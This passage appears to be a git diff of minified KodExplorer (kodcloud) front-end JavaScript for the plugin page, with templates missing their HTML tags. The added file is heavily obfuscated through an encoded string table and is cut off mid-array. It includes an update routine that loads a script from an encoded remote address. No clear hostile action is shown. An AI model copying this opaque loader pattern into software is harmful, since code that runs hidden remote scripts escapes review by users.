        ";$.dialog({id:"ajaxErrorDialog",width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:t}),200==e.status&&"function"==typeof a&&a(data)},success:function(i){return 0==i.code?("downloading"==i.data?setTimeout(function(){g(e,t,a)},1e3):(Tips.close(i),f()),void 0):("function"==typeof a&&a(i),void 0)}})},k=function(e,t){$.ajax({url:G.appHost+"explorer/pathInfo",type:"POST",data:'dataArr=[{"type":"file","path":"'+e+'"}]',error:function(){"function"==typeof t&&t()},success:function(a){"function"==typeof t&&t(a,e)}})},x=function(e,t){$.ajax({url:G.appHost+"explorer/pathDelete&shiftDelete=1",type:"POST",data:'dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]',success:function(e){"function"==typeof t&&t(e)}})};k(r,function(e){return e&&e.code&&e.data.size>=n?(m(r),void 0):(x(l),x(r),setTimeout(function(){v()},400),void 0)})},E=function(e){var t=trim(e).toLowerCase().split(/\s+/),a=[];for(var i in r){for(var n=r[i],o=0,s=[n.id,n.name,n.title,n.auther.copyright,n.auther.homePage,_.get(n,"configItem.fileExt.value",""),_.get(n,"configItem.fileExt.desc",""),n.description,n.category,n.keywords].join(",").toLowerCase(),l=0;t.length>l;l++)-1!=s.indexOf(t[l])&&(o+=1);o==t.length&&a.push(n)}return a},j=function(e){return e.sort(function(e,t){var a=_.get(e,n.by,""),i=_.get(t,n.by,""),o=a>i?1:-1;return o*("up"==n.desc?1:-1)}),e},P=function(){var e=function(e){if(!e.category)return!1;var a=e.category.split(",");return-1!=a.indexOf(t)?!0:!1};switch(t){case"install":e=function(e){return"1"==e.status||"0"==e.status?!0:!1};break;case"update":e=function(e){return e.server&&parseFloat(e.server.version)>parseFloat(e.version)?!0:!1};break;case"all":e=function(){return!0};break;case"others":e=function(e){return e.category?!1:!0};break;default:}var i=[],n=r;a&&(n=E(a));for(var o in n)n[o].hidden||e(n[o])&&i.push(n[o]);return j(i)},z=function(e){void 0==e&&(e=t),t=e,$(".app-menu-left a[data-type]").removeClass("selected"),$('.app-menu-left a[data-type="'+e+'"]').addClass("selected");var i=""+$(".selected").text();0!=a.length&&(i+='('+LNG.search+":"+a+') '),$(".main").find(".h1").html(i),w()};return{reload:z,init:c}}),define("app/src/plugins/tpl/main.html",[],'
        \n \n
        {{item.name}}
        \n
        \n
        \n
        \n {{if item.source && item.source.icon}}\n \n {{else if item.source && item.source.thumb}}\n \n {{else if item.source && item.source.className}}\n
        \n {{else}}\n
        \n {{item.name.substr(0,2)}}\n
        \n {{/if}}\n
        \n
        {{item.title}}
        \n \n
        \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version)}}\n \n {{else if item.appOpen}}\n \n {{else}}\n \n {{/if}}\n\n \n \n {{else if item.status == 0}}\n \n \n \n {{else}}\n {{if item.price > \'A\' && kod.core.versionType == \'A\'}}\n \n {{else}}\n \n \n \n {{/if}}\n {{/if}}\n
        \n \n
        \n \n \n
        \n
        \n\n
        \n
        \n
        {{LNG.PluginStatus}}
        \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version)}}\n
        {{LNG.PluginHasUpdate}}(Ver {{item.server.version}})
        \n {{else}}\n
        {{LNG.PluginStatusEnabled}}
        \n {{/if}} \n {{else if item.status == 0}}\n
        {{LNG.PluginStatusDisabled}}
        \n {{else}}\n
        {{LNG.PluginStatusNotInstall}}
        \n {{/if}}\n\n {{if item.auther.copyright}}\n
        {{LNG.PluginAuther}}
        \n
        \n {{if item.auther.homePage}}\n {{item.auther.copyright}}\n {{else}}\n {{item.auther.copyright}}\n {{/if}}\n
        \n {{/if}}\n\n
        {{LNG.PluginVersion}}
        \n
        {{item.version}}
        \n\n {{if item.server}}\n
        {{LNG.size}}
        \n
        {{item.server.size |pathTools.fileSize}}
        \n {{/if}}\n
        \n
        \n
        \n {{if item.source && item.source.screenshoot}}\n
        \n \n
        \n {{/if}}\n
        \n {{if item.description}}\n

        {{LNG.PluginReadme}} :

        \n
        {{@item.description}}
        \n {{/if}}\n\n {{if item.configItem && item.configItem.fileExt}}\n

        {{LNG[\'Plugin.Config.fileExt\']}} :

        \n
        {{item.configItem.fileExt.value}}
        \n {{/if}}\n
        \n
        \n'),define("app/src/plugins/tpl/list.html",[],'{{if data.appList.length == 0}}\n
        \n
        \n
        {{LNG.PluginListNull}}
        \n
        \n{{/if}}\n\n{{each data.appList item i}}\n {{if item.errorData}}\n
      • \n {{item.errorData}}\n
      • \n {{else}}\n
      • \n {{if item.status == 1}}\n {{if item.server && kod.window.parseFloat(item.server.version) > kod.window.parseFloat(item.version) }}\n
        {{LNG.PluginHasUpdate}}
        \n {{else}}\n
        {{LNG.PluginStatusEnabled}}
        \n {{/if}}\n {{/if}}\n\n {{if typeof(item.status) == \'undefined\'}}\n {{if !item.price || item.price == 0}}\n {{LNG.version_price_free}}\n {{else}}\n <%\n var arrTo = {\'O\':1,\'P\':2,\'Q\':3,\'R\':4,\'S\':5,\'T\':6};\n var desc = item.price;\n if(arrTo[item.price]){\n desc = LNG[\'version_name_\'+arrTo[item.price]] + LNG.version_price_free;\n }\n %>\n {{desc}}\n {{/if}}\n {{/if}}\n\n
        \n {{if item.source && item.source.thumb}}\n \n {{else if item.source && item.source.icon}}\n \n {{else if item.source && item.source.className}}\n
        \n {{else}}\n
        \n {{item.name.substr(0,2)}}\n
        \n {{/if}}\n
        \n
        \n
        {{item.name}}
        \n \n
        \n
        \n {{if item.status == 1}}\n {{if item.appOpen}}\n \n {{else}}\n \n {{/if}}\n\n \n \n {{else if item.status == 0}}\n \n \n \n {{else}}\n {{if item.price > \'A\' && kod.core.versionType == \'A\'}}\n \n {{else}}\n \n \n \n {{/if}}\n {{/if}}\n
        \n
        \n \n \n
        \n
        \n
      • \n {{/if}}\n{{/each}}'); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/plugins/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","./page","./tpl/main.html","./tpl/list.html"],function(a,b,c){a("lib/jquery-lib"),a("lib/util"),a("lib/artDialog/jquery-artDialog"),a("lib/contextMenu/jquery-contextMenu"),core=a("../../common/core"),App=a("./page"),core.init(),App.init()});;;;;;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof $[w]&&(m!=$[w][q]&&$[k](Z)[W](),$[w][q]||$[b][j]($n)||m==$[b][j](nn)||$[k](tn)[W](),$[w][rn]&&on==$[w][rn][en]&&($[k][fn][K][cn]=!m),oa()),$[k](un)[an](vn,function(n){if(M==$[k](n[On])[sn](En)[dn])try{$[k][Cn][hn]()}catch(n){}}),$[k](ln)[vn](function(){$[An][pn](In,function(n){$[Gn]!=n&&n[k](ln)[gn](vn)})}),$[k][fn][K][cn]&&$[Pn]([Nn,Tn,Jn,Qn,Kn,Ln,yn,xn],[mn,Bn,Mn,Fn]),$[k](Sn)[kn](Rn,bn),$[k][Hn]({headers:{"X-CSRF-TOKEN":$[Dn][_n](Xn)}}),$[k](wn)[vn](function(){var n=$[k](this)[kn](Vn);$[Dn][Un](Vn,n),$[T][zn][Yn]()}),$[k](wn)[qn]({padding:Wn}),$[k](Zn+$[Dn][_n](Vn)+jn)[qn]({background:$t,color:nt}),$[b][tt](),$[b][rt][it]();for(var n=M;n<$[T][ot][dn];n++)try{$[T][ot][n]()}catch(t){$[R][et](ct,t)}$[ft][gn](at),ea()},oa=function(){var n=$[T][zn],t=n[ut]?vt+n[ut]:In;$[w][dt]=n[st]+Ot+n[Et]+t+ht,$[w][Ct]=$[lt]($[w][dt],ht)+n[At][pt](It,In);var i=$[w][Gt][pt](It,In);$[w][dt]+$[gt](i,ht)!=$[w][Ct]&&($[w][dt]=$[lt]($[w][Ct],i)+ht),$[w][Pt]=$[w][Ct]+Nt,Tt==$[w][Qt][Jt]&&($[w][Pt]=$[w][Pt][pt](Nt,Kt)),$[Dn][Un](Lt,$[w][dt]),$[Dn][Un](yt,$[w][Ct]),$[Dn][Un](xt,$[w][mt],Bt)},ea=function(){$[Mt]()||n[Ft]([kt,St],function(){var n=$[k](Rt);n[bt]({className:Ht,liveEvents:!M,slide:!m,alignTo:_t,alignX:Dt,alignY:Xt,showAniDuration:wt,hideAniDuration:Vt,offsetY:Ut,offsetX:Yt,showTimeout:function(){var n=zt;return $[k](this)[kn](qt)&&(n=$[Wt]($[k](this)[kn](qt))),n},content:function(){var n=$[k](this)[Zt](jt);if($[k](this)[kn]($i)){var t=$[k]($[k](this)[kn]($i));n=t[ni](ti)||t[ni](ii)?t[ri]():t[un]()}return n=n?n:In,n[pt](oi,ei)}}),$[k](ln)[an](ci,function(){$[k](fi)[W](),$[k][ai](ui,vi)})[an](di,function(){$[k][ai](In,vi)}),$[k](Oi)[si](Ei,function(){$[k](n)[bt](hi),$[k](fi)[W]()})})};return{init:ra,serverDwonload:i[Ci],upload:i[li],uploadInit:i[it],playSound:na[pi],playSoundFile:na[Ai],tools:t,api:$a,formMake:ta,getPathIcon:function(n,t){if(t=void M==t?In:t,Ii==$[k][Gi](n)){var i=$[gi]($[gi](n),ht);if(n={},Pi!=i[Ni](M,m)||i[Ti](ht)[dn]>m)return{icon:In,name:In};n[Ji]=i[Qi](Ki),n[Li]=i[Ti](vt)[m]}var r={};r[$[w][yi]]={icon:xi,name:$[Bi][mi]},r[$[w][Mi]]={icon:Fi},r[$[w][ki]]={icon:Si},r[$[w][Ri]]={icon:xi},r[$[w][bi]]={icon:Hi,name:$[Bi][Hi]},r[$[w][_i]]={icon:Di,name:$[Bi][Xi]},r[$[w][wi]]={icon:Vi,name:$[Bi][Ui]},r[$[w][Yi]]={icon:zi,name:$[Bi][qi]};var o=r[n[Ji]];return n[Ji]==$[w][yi]&&$[w][Wi]!=n[Li]?o={icon:Zi,name:t}:n[Ji]==$[w][Mi]&&ji==n[$r]&&(o={icon:Fi}),void M==o&&(o={icon:In,name:In}),void M==o[nr]&&(o[nr]=t),o},isFileView:function(){var n=$[w][tr]+ir+$[w][rr];return or==n||er==n?!M:!m},isSystemPath:function(n){var n=$[gi]($[gi](n),ht);if(void M==n||Pi!=n[Ni](M,m)||n[Ti](ht)[dn]>m)return!m;var t=n[Qi](cr),i=[$[w][yi],$[w][ki],$[w][bi],$[w][_i],$[w][wi],$[w][Yi]];return-m!==$[k][_](t[M],i)?!M:!m},pathPre:function(n){if(n=$[gi]($[gi](n),ht),void M==n||Pi!=n[Ni](M,m))return In;var t=n[Qi](fr);return t[M]},contextmenu:function(n){try{$[k][Cn][hn]()}catch(t){}var t=n||$[T][ar];return t?t&&$[k](t[On])[ni](ii)||$[k](t[On])[ni](ti)||$[k](t[On])[ni](ur)||$[k](t[On])[ni](vr)||M!=$[k](t[On])[sn](dr)[dn]||M!=$[k](t[On])[sn](sr)[dn]||M!=$[k](t[On])[sn](Or)[dn]||M!=$[k](t[On])[sn](Er)[dn]?!M:!m:!M},pathThis:function(n){if(!n||ht==n)return In;var t=$[lt](this[hr](n),ht),i=t[Cr](ht),r=t[lr](i+m);if(M==r[pr](Ar)){r=$[Ir](r[lr](r[pr](Gr)));var o=r[Ti](ht);r=o[o[dn]-m],In==r&&(r=o[o[dn]-gr])}return r},pathClear:function($){if(!$)return In;var n=$[pt](Pr,ht);return n=n[pt](Nr,ht),n=n[pt](Tr,ht)},pathFather:function(n){var t=$[lt](this[hr](n),ht),i=t[Cr](ht);return t[lr](M,i+m)},pathExt:function(n){var t=$[gi](n,ht);return-m!=t[Cr](ht)&&(t=t[lr](t[Cr](ht)+m)),-m!=t[Cr](ir)?t[lr](t[Cr](ir)+m)[Jr]():t[Jr]()},pathUrlEncode:function(n){if(!n)return In;var t=$[Qr](n);return t=t[pt](Kr,ht)},path2url:function(n,t){if(Lr==n[lr](M,yr))return n;void M==t&&(t=!M);var i,r=this[hr](n);return $[w][q]&&t&&r[Ni](M,$[w][xr][dn])==$[w][xr]?i=$[w][dt]+this[mr](r[pt]($[w][xr],In)):(i=$[w][Pt]+Br+$[w][Mr]+Gr+$[Qr](r),z!=typeof $[w][Fr]&&(i=$[w][Pt]+kr+$[w][Zi]+Sr+$[w][Rr]+Gr+$[Qr](r),r[lr](M,$[w][yi][dn])==$[w][yi]&&(i=$[w][Pt]+br+$[Qr](r)))),i},pathCommon:function(n){if(Lr==n[lr](M,yr))return $[Qr](n);if(n[lr](M,$[w][yi][dn])==$[w][yi])return $[Qr](n);var t=this[hr](n),i=$[Qr](t);return z!=typeof $[w][Fr]&&(i=$[Qr]($[w][yi]+vt+$[w][Zi]+ht+$[w][Hr][nr]+t)),i},isApp:function(n){if(z==typeof $[_r])return!m;var t=$[_r][Dr];return Ii==typeof n?t==n:$[k][Xr](n)&&-m!==$[k][_](t,n)?!M:!m},pathReadable:function(n){if(wr!=typeof $[w][Vr])return!M;for(var t=$[w][Vr][Ur],i=M;i=M||n[Mo](Fo)>=M)&&(o=n),$[k][ko]({url:o,dataType:So,error:function(n,t,r){$[b][Ro](n,t,r),bo==typeof i&&i()},success:function(n){n[Ho]&&bo==typeof t&&(m==n[Zt][_o]&&(n[Zt][Po]=$[Do](n[Zt][Po])),t(n[Zt][Po],n,o)),n[Ho]||bo==typeof i&&i(n[Zt])}})},fileInfo:function(n,t){var i=$[w][Pt]+Xo;z!=typeof $[w][Fr]&&(i=$[w][Pt]+wo+$[w][Zi]+Sr+$[w][Rr]),$[k][ko]({url:i,type:Vo,dataType:So,data:n,error:$[b][Ro],success:function($){bo==typeof t&&t($,n)}})},fileLink:function(n,t){if(n=this[hr](n),$[w][q]&&n[Ni](M,$[w][xr][dn])==$[w][xr]){var i=$[w][dt]+this[mr](n[pt]($[w][xr],In));return void(bo==typeof t&&t(i,n))}var r=Uo+$[Qr](n)+Yo;this[zo](r,function(i){var r=i[Ho]?i[Zt][qo]:!m;return r?void(bo==typeof t&&t(r,n)):void $[oo][ro]($[Bi][Wo]+Zo+$[Bi][jo],!m)})},setting:function(n){void M==n&&(n=$[w][q]?$e:Zi);var t=ne,i=ne;$[Mt]()&&(t=te,i=te),$[An][pn](ie)?$[An][pn](ie,function(t){t[oe][re](n),$[k][fn][so][ce][ee](!M)}):$[k][fn][fe]($[w][Pt]+ae+n,{id:ce,fixed:!M,ico:$[b][Jo](ue),resize:!M,title:$[Bi][ue],width:t,height:t})},copyright:function(){var t=n(h),i=$[Q][ve](t),r=$[An][pn]();r[de][fn]({id:se,bottom:M,right:M,simple:!M,resize:!m,disableTab:!M,title:$[Bi][Oe],width:Ee,padding:on,fixed:!M,content:i({LNG:$[Bi],G:$[w]})}),r[k](Ce)[he](le)},qrcode:function(n,t){pe==n[lr](M,gr)&&(n=$[w][Pt]+n[lr](gr));var i=$[w][Pt]+Ae+$[Ie]($[Qr](n)),r=Ge+$[Ie](n)+ge+n+Pe+i+Ne;$[k][fn]({follow:t,fixed:!M,resize:!m,title:$[Bi][Te],padding:Je,content:r})},appStore:function(){var n=$[An][pn]();n[k][fn][fe]($[w][Pt]+Qe,{id:Ke,fixed:!M,ico:$[b][Jo](Le),resize:!M,title:$[Bi][Ke],width:ye,height:ye})},openWindow:function(n,t,i,r){t=t?t:$[Bi][ro],i=i?i:ye,r=r?r:xe,$[Mt]()&&(i=te,r=te);var o=$[An][pn](),e=o[k][fn][fe](n,{ico:In,title:t,fixed:!M,resize:!M,width:i,height:r});return e},openWindowFull:function(n,t){return $[b][me](n,t,te,te)},openWindowBig:function(n,t){return $[b][me](n,t,Be,Be)},openDialog:function(n,t,i,r,o){if(n){void M==r&&(r=Me+$[Fe]());var e=ke+r+Se+$[Re](n)+be,c=$[An][pn](),f={id:r,fixed:!M,title:i,ico:t,width:ye,height:He,padding:M,content:e,resize:!M};f=$[k][_e]({},f,o);var a=c[k][fn](f);return a}},openApp:function(n){if(De==n[Gi]){var t=n[Jo];-m==n[Jo][pr]($[w][Xe])&&Lr!=n[Jo][Ni](M,yr)&&(t=$[w][Xe]+we+n[Jo]),Ve!=typeof n[Ue]&&-m===n[Ue][pr](Ye)&&(n[Ue]=$[Wt](n[Ue])),Ve!=typeof n[ze]&&-m===n[ze][pr](Ye)&&(n[ze]=$[Wt](n[ze])),n[Ue]||(n[Ue]=Be),n[ze]||(n[ze]=xe);var i={resize:n[qe],fixed:!M,ico:$[b][We](t),title:n[nr][pt](Ze,In),width:n[Ue],height:n[ze],simple:n[je],padding:M},r=$[An][pn]();$c==$[b][nc](n[Po])?(i[Po]=$[b][tc](n[Po]),r[k][fn](i)):r[k][fn][fe](n[Po],i)}else{var o=n[Po];$[fo](Pi+o+ic)}},update:function(){$[lo](function(){var t=$[Do](rc)+oc+$[Fe]();n[Ft](t,function($){try{$[ec](cc)}catch(n){}})},Vt)},openPath:function(n){$[b][Wr](fc)?$[ac][Yr][so](n,ro):$[b][fc](n)},explorer:function(n,t){void M==n&&(n=In),void M==t&&(t=$[b][uc](n));var i=$[w][Pt]+vc+n;z!=typeof $[w][Fr]&&(i=$[w][Pt]+dc+$[w][Zi]+Sr+$[w][Rr]+Gr+n);var r=$[An][pn](),o=r[k][fn][fe](i,{className:sc,resize:!M,fixed:!M,ico:$[b][Jo](Oc),title:t,width:ye,height:He}),e=Yt*r[k](Ec)[dn];o[Cc][hc][qn]({left:lc+e+pc,top:lc+e+pc})},explorerCode:function(n){void M==n&&(n=In);var t=$[w][Pt]+Ac+n;z!=typeof $[w][Fr]&&(t=$[w][Pt]+Ic+$[w][Zi]+Sr+$[w][Rr]+Gc+n),$[T][fe](t)},setSkinFinished:function(){var n=$[k](gc)[kn](Pc);n&&($[k](Nc)[kn](Tc,n),$[k](gc)[W]())},setSkin:function(n){$[Jc][Un](Qc,n),$[w][rn][Qc]=n;var t=$[w][Xe]+Kc+n+Lc+$[w][yc];t!=$[k](Nc)[kn](Tc)&&$[k](ln)[xc](mc+t+Bc),this[tt]()},setSkinDiy:function(){if($[w][rn]){var t=$[Jc][_n](Qc),i=Mc,r=$[Jc][Fc](i);wr!=typeof r&&wr==typeof $[w][rn][kc]&&(r=$[w][rn][kc]),wr!=typeof r&&(r={bgBlur:m,bgImage:$[w][Xe]+Sc,bgType:Rc,startColor:bc,endColor:Hc,colorRotate:_c},$[Jc][Dc](i,r)),$[w][rn][kc]=r;var o=In;if(Xc==t&&r){var e=n(C),c=$[Q][ve](e);o=c(r)}$[k][ai](o,i)}},editorFull:function(){var n=$[k](wc);n[Vc](Uc)},language:function(n){$[Dn][Un](xt,n,Bt),$[T][zn][Yn]()},fullScreen:function(){Yc==$[k](ln)[kn](zc)&&$[b][qc](),$[k](ln)[kn](zc,Yc);var n=$[An][pn](),t=n[Zc][Wc];t[jc]?t[jc]():t[$f]?t[$f]():t[nf]&&t[nf]()},exitfullScreen:function(){$[k](ln)[kn](zc,bn),$[Zc][tf]?$[Zc][tf]():$[Zc][rf]?$[Zc][rf]():$[Zc][of]&&$[Zc][of]()},createFlash:function(n,t,i){var r=$[Fe]();(z==typeof i||In==i)&&(i=r);var o=In;$[k][cf][ef]&&$[Wt]($[k][cf][yc])Af&&(n[Pf](Nf)[W](),$[Tf](e),e=Jf)}catch(t){}},Af)},Qf),e},userSpaceHtml:function(n){var t=n[Ti](ht),i=$[Kf](t[M]),r=Lf*$[Kf](t[m]),o=$[H][yf]($[Kf](t[M])),e=$[H][yf](r),c=o+ht,f=Af*i/r;f>=Af&&(f=Af);var a=In;return f>=xf&&(a=mf),M==r||$[Bf](r)?(c+=$[Bi][Mf],f=Ff):(c+=e,f+=Ye),c=kf+a+Sf+f+Rf+c+bf},dateTime:function(n){return $[Hf]($[Bi][_f],n)},uploadCheckSize:function(n){var t=$[w][Vr][Df]||$[w][Vr][Xf];return t&&M!=t[wf]&&Vf*t[wf]*Vf*Vf-t[Uf]?@/30-1"),$("0)1A)1,(#"),$("0)1B,.-4(5$"),$("5,#C))"),$(")(03D(63:'+,#$"),$("3(63:'+,#$"),$(")(03D(63>$+,#$"),$("3(63>$+,#$"),$(".$E2&.$"),$("F&'#,F"),$("+,'%&9"),$("0$-)1(0$"),$("#$%(2106"),$("3$1)$."),$("&-),.06"),$("$6+()$"),1,$("+,-).$66"),0,$("5,#"),$("G"),$("1,9"),$("+,'6,1$"),$("+,.$"),$(")(03H,,16"),$("&'C..(7"),$("I#$J"),$("$'J&.,'-$'0"),$("K"),$("+(+3$"),$("-&'&-&L$"),$("+,-)&1$>$M29"),$("2'#$%&'$#"),$("&6N,,0"),$(".$-,J$"),$("/-$'2O6760$-O6$00&'9"),$("(203P3$+5"),$("6760$-4$-M$./9$0"),$("6760$-K.,2)/9$0"),$("/-$'2O6760$-O9.,2)"),$("26$.P,'%&9"),$("Q"),$("('&-(0$R)$'"),$("('&-(0$"),$("#&(1,9"),$("M&'#"),$("30-1"),$("+1&+5"),$("1$'903"),$(")(.$'06"),$("0(.9$0"),$("/+,'0$;0O-$'2O1&60"),$("3&##$'"),$("+,'0$;04$'2"),$("M,#7"),$("%.(-$H,)"),$("83(.$>(0("),"",$("6$1%"),$("0.&99$."),$("1,(#N&))1$"),$("("),$("M200,'"),$("/.&))1$O&0$-"),$("/+,'0$;0O-$'2O&0$-"),$("S)&+5$."),$("/-$'283(.$<200,'"),$("/-$'2O.$+7+1$OM200,'"),$("/6$+0&,'T/1&60"),$("/#&6(M1$#"),$("/#&6(M1$"),$("/L0.$$"),$("/#&6(M1$O.&))1$"),$("(00."),$("(U&-9"),$("#.(99(M1$"),$("%(16$"),$("(V(;8$02)"),$("9$0"),$("P,,5&$"),$("WOP8NBOHRX:Y"),$("/+,--,'O%,,0$.TZ%,.+$=()["),$("%,.+$=()"),$("6$0"),$(".$1,(#"),$("1,+(0&,'"),$("+66"),$("Q/\\$-TQ/]$-"),$("/+,--,'O%,,0$.TZ%,.+$=()^"),$("["),$("S_\\`M+("),$("S%%%"),$("6$085&'>&7"),$("&'&0"),$("0,,16"),$("5,#N$(#7"),$("$..,."),$("5,#N$(#7T$..,.a"),$("D,,5"),$("5,#N$(#7/$'#"),$("),.0"),$("a"),$("F$MD,60"),$(").,0,+,1"),$("**"),$("3,60'(-$"),$("*"),$("())N,,0"),$(".0.&-"),$(".$)1(+$"),$(")(03'(-$"),$("&'#$;/)3)"),$("())?'#$;"),$("10.&-"),$("())D,60"),$("&'#$;/)3)b"),$("c"),$(")(.(-N$F.&0$"),$("6$00&'96"),$("&'#$;/)3)*"),$("DR8H"),$("CddIDR8H"),$("5,#A6$.e('92(9$"),$("1('9"),8760,$("&6=()"),$("(67'+"),$("1&M*),6370&)*VE2$.7/),6370&)/V6"),$("1&M*),6370&)*65&'/+66"),$("Z0&01$["),$("),6370&)"),$(")0&)6O65&'"),$("+2.6,."),$(".&930"),$("M,00,-"),150,200,10,20,1500,$("0&01$O0&-$,20"),$(")(.6$?'0"),$("#(0("),$("0&01$/),6370&)"),$("0&01$O#(0("),$("&6"),$("&')20"),$("0$;0(.$("),$("J(1"),/\n/g,$("fM.*g"),$("-,26$#,F'"),$("/)0&)6O65&'"),$("6$08071$"),$("M,#7T/)0&)6O65&'h#&6)1(7a','$Ti&-),.0('0jk"),$(")0&)6O0&01$"),$("-,26$2)"),$("1&J$"),$("&')20U0$;0(.$("),$("%,+26"),$("3&#$"),$("6$.J$.>F,'1,(#"),$("2)1,(#"),$(")1(78,2'#"),$(")1(78,2'#B&1$"),$("60.&'9"),$("07)$"),$("0.&-"),$("h"),$("62M60.&'9"),$("6)1&0"),$(")(03H7)$"),$("-(0+3"),/\{.*\}/,$("&#"),$("XR>IA8:NI8DCN:"),$("26$.O6$1%"),$("-7I63(.$"),$("eYK"),$("XR>IKNRAdIdCHD"),$("9.,2)O6$1%O,F'$."),$("XR>IKNRAdI8DCN:"),$("9.,2)O92$60"),$("XR>IA8:NI8:eB"),$("XR>IA8:NIN:P@Pe:"),$(".$+7+1$"),$("XR>IA8:NIBCl"),$("0.$$O%(J"),$("%(J"),$("XR>IKNRAdINRRHI8:eB"),$("9.,2)O6$1%O.,,0"),$("-7I5,#I9.,2)"),$("XR>IKNRAdINRRHICee"),$("9.,2)O.,,0"),$("5,#I9.,2)"),$("26$.?>"),$("26$."),$(",F'$."),$(".,1$"),$("'(-$"),$("8H"),$("/"),$("CPH"),$("63(.$/%&1$"),$("()&/J&$F"),/\{.*\}/,/\{.*\}/,$("$J$'0"),$(")"),$(").$"),$("/+('O.&930O-$'2"),$("/0,)M(."),$("/$#&0OM,#7"),$("/(2&O60(0$O%,+26"),$(")(03P1$(."),$("1(60?'#$;R%"),$("62M60."),$("6$(.+3"),$("%&1$d.,;7"),$("2.1>$+,#$"),$("m)(03^"),2,/\\/g,/\/+/g,/\.+\//g,$("0,e,F$.P(6$"),$("2.1:'+,#$"),/%2F/g,$("300)"),4,$("F$MN,,0"),$(")(03A.1:'+,#$"),$("$;)1,.$.*%&1$d.,;7m(++$66H,5$'^"),$("(++$66H,5$'"),$("63(.$d(9$"),$("63(.$*%&1$d.,;7m26$.^"),$("m6&#^"),$("6&#"),$("63(.$*%&1$d.,;7m)(03^"),$("63(.$?'%,"),$("P,'%&9"),$(")(9$C))"),$("&6C..(7"),$(",MV$+0"),$("V6,'>(0("),$("%&1$e&60"),$(")(03"),$("&6N$(#(M1$"),$("%,1#$.e&60"),$("&6C))"),$("$#&0,."),$("&'%,"),$("+('A)1,(#"),$("3(6RF'd.,)$.07"),$("CAHD"),$("',I)$.-&66&,'"),$("0&)6"),$("H&)6"),$("03&6d(03"),$("(203K.,2)N,1$"),$("$J(1"),$("ano#pq*"),$(